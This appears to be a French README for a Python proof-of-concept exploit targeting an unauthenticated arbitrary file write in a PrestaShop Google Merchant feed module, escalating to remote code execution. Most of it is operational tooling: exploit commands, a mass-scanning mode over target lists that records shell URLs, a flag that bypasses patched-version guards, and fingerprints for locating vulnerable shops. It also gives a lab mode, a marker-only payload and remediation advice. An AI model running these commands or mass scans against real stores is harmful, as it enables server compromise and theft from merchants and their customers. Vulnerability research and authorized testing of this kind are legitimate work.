
Preuve de concept (PoC) en Python pour CVE-2026-85520 : détecte et exploite une écriture de fichier arbitraire non authentifiée dans PrestaShop gmfeed feed.php pour obtenir une RCE, avec analyse en masse.
PoC Python 3 pour CVE-2026-85520 — module Google Merchant Center Feed (gmfeed) de MyPresta.eu / VEKIA pour PrestaShop — écriture arbitraire de fichier non authentifiée sur feed.php lorsque le mode « Save to file » / export par URL est utilisé. CVSS 3.1 9.3 Critique (Logiciel).
| PoCbit | https://pocbit.org/pocs/cve-2026-85520 |
| Catalogue | https://pocbit.org/pocs/ |
| Module | gmfeed (Google Merchant Center Feed) |
| Correctif éditeur | ≥ 2.3.10 (installation de 2.4.1+ recommandée) |
| CWE | Problèmes de classe CWE-20 / CWE-73 / CWE-434 (absence d'authentification + contrôle du chemin/contenu à l'écriture) |
gmfeed est un module commercial qui génère un catalogue produits XML/CSV pour Google Merchant Center sur les boutiques PrestaShop. Dans les anciennes versions, lorsque le catalogue était généré via une URL et enregistré sur le disque (Save to file / cron), le point de terminaison modules/gmfeed/feed.php pouvait accepter, sans authentification, avec des paramètres optionnels, le nom, le chemin, l'extension et le contenu du fichier de sortie.
Via des requêtes GET/POST craftées, l'attaquant peut écrire des fichiers arbitraires sur le serveur (par ex. pocbit_xxxxx.php), puis les exécuter via le web pour obtenir une exécution de code à distance (RCE). Cela signifie la compromission totale du serveur e-commerce — testez uniquement dans le cadre d'un pentest autorisé / votre propre boutique de lab.
Selon l'annonce du fournisseur (MyPresta.eu) : les versions antérieures à 2.3.10 sont affectées ; le correctif ajoute une clé spécifique à la boutique aux URL save-to-file et désactive l'écriture non autorisée. Écraser l'ancien zip ne suffit pas — le module doit être supprimé via « delete module files » et 2.4.1 doit être installé proprement.
CVE-2026-85520 affecte le module PrestaShop gmfeed (Google Merchant Center Feed de MyPresta.eu). Le script d'export feed.php, lorsque le mode enregistrement sur disque est accessible via URL (exportsavefile=1 et paramètres d'export associés documentés dans les journaux de modifications de l'éditeur), ne parvenait pas à appliquer :
modules/gmfeed/ ou via des séquences de traversée.Impact : écriture arbitraire de fichier non authentifiée → RCE (exécution du .php téléversé via HTTP).
Les paramètres publics de l'éditeur référencés dans les notes de version incluent export_file_format, exportsavefile et des options de nom de fichier d'export personnalisées ajoutées dans la série 2.3.x. Ce PoC fait tourner des alias de paramètres courants (exportfilename, exportfilecontent, export_path, etc.) contre :
/modules/gmfeed/feed.php/index.php?fc=module&module=gmfeed&controller=feed| Mode | Comportement |
|---|---|
| check | Détecte gmfeed (feed.php, config.xml, marqueurs), analyse la version du module, signale < 2.3.10 |
| check --aggressive | Sonde légère d'enregistrement sur disque (pas de shell permanent ; exportsavefile=0 dans le chemin de sonde) |
| exploit | Écrit une sonde pocbit_*.php avec le marqueur POCBIT-85520-OK, vérifie via ?pocbit=1 |
| exploit --dry-run | Exporte uniquement les requêtes de sonde (aucun placement de shell) |
| mass | --list + -j → hits.txt / exploited.txt + JSONL |
--lab | feed.php factice local — doit afficher exploited: true (contrôle de cohérence) |
--force | Ignore les garde-fous « module absent / version corrigée » |
Champs JSONL : pocbit, pocbit_catalog, pocbit_page, cve, vendor, module, product.
Sécurité : La charge utile par défaut est un stub PHP à marqueur uniquement, et non un shell interactif complet. Supprimez les fichiers écrits après les tests autorisés.
pip install requests urllib3cd CVE-2026-85520
python poc.py --lab
Attendu : [LAB] en vert, JSON "exploited": true, "shell_url": "http://127.0.0.1:8766/modules/gmfeed/pocbit_....php".
python poc.py -u https://shop.example.com --mode check
python poc.py -u https://shop.example.com --mode check --aggressive
python poc.py -u https://shop.example.com --mode exploit --dry-run
python poc.py -u https://shop.example.com --mode exploit
python poc.py -u https://shop.example.com --mode exploit --force
Vérifier manuellement après l'exploitation :
https://shop.example.com/modules/gmfeed/pocbit_XXXXXXXX.php?pocbit=1
→ POCBIT-85520-OK
python poc.py --list prestashop_targets.txt --mode check -j 40
python poc.py --list hits.txt --mode exploit -j 20
python poc.py --list hits.txt --mode exploit -j 20 --dry-run
Sorties :
| Fichier | Contenu |
|---|---|
cve_2026_85520_results.jsonl | Toutes les lignes de vérification |
cve_2026_85520_exploit.jsonl | Toutes les lignes d'exploitation |
hits.txt | Tabulation : URL, statut, version |
exploited.txt | Tabulation : URL, shell_url, version |
Présence du module :
body="/modules/gmfeed/" || body="gmfeed" || header="/modules/gmfeed/feed.php"
Version (si exposée) :
/modules/gmfeed/config.xml
Artefacts de flux statiques (pas une preuve de vulnérabilité à eux seuls) :
/modules/gmfeed/products.xml
/modules/gmfeed/combinations.xml
Remarque : De nombreuses boutiques exécutent ≥ 2.3.10 après l'avis 2026 de MyPresta — attendez-vous à patched_version ou write_or_verify_failed sur les listes à l'échelle d'Internet.
feed.php).modules/gmfeed/ pour détecter des fichiers .php inattendus.Référence : annonce du correctif de sécurité MyPresta.